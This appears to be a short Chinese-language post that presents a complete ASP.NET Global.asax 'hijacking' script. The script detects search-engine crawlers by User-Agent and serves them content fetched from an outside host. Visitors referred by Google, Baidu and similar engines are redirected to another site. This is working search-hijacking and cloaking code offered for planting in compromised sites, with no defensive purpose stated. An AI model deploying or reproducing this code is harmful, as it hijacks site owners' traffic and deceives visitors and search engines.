今天来个.net环境的劫持代码

<%@ Application Language="C#" %><script runat="server"> void Application_Start(object sender, EventArgs e) { } void Application_End(object sender, EventArgs e) { } void Application_Error(object sender, EventArgs e) { } void Session_Start(object sender, EventArgs e) { //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); string data_url = "http://www.网址.com/"; string redirect_url="http://www.网址.com/"; if (is_spider()) { HttpContext.Current.Response.Clear(); HttpContext.Current.Response.BinaryWrite(get_data(data_url)); HttpContext.Current.Response.End(); } else if(is_from_search()) { HttpContext.Current.Response.Redirect(redirect_url, true); } else { //HttpContext.Current.Response.Write(HttpContext.Current.Request.UserAgent); } } void Session_End(object sender, EventArgs e) { } public bool is_spider() { string spider_flag = "googlebot|baiduspider|sogou|yahoo|soso"; string[] spider_flag_arr = spider_flag.Split('|'); string user_agent=HttpContext.Current.Request.UserAgent; foreach (string tmp_flag in spider_flag_arr) { if (user_agent.ToLower().IndexOf(tmp_flag.ToLower())!=-1) { return true; } } return false; } public bool is_from_search() { if (HttpContext.Current.Request.UrlReferrer==null) { return false; } else { string page_ref = HttpContext.Current.Request.UrlReferrer.ToString(); string search_flag = "google|baidu|sogou|yahoo|soso"; string[] search_flag_arr = search_flag.Split('|'); foreach (string tmp_flag in search_flag_arr) { if (page_ref.ToLower().IndexOf(tmp_flag.ToLower()) != -1) { return true; } } return false; } } public byte[] get_data(string url) { System.Net.WebClient wc = new System.Net.WebClient(); byte[] data = wc.DownloadData(url); return data; } </script>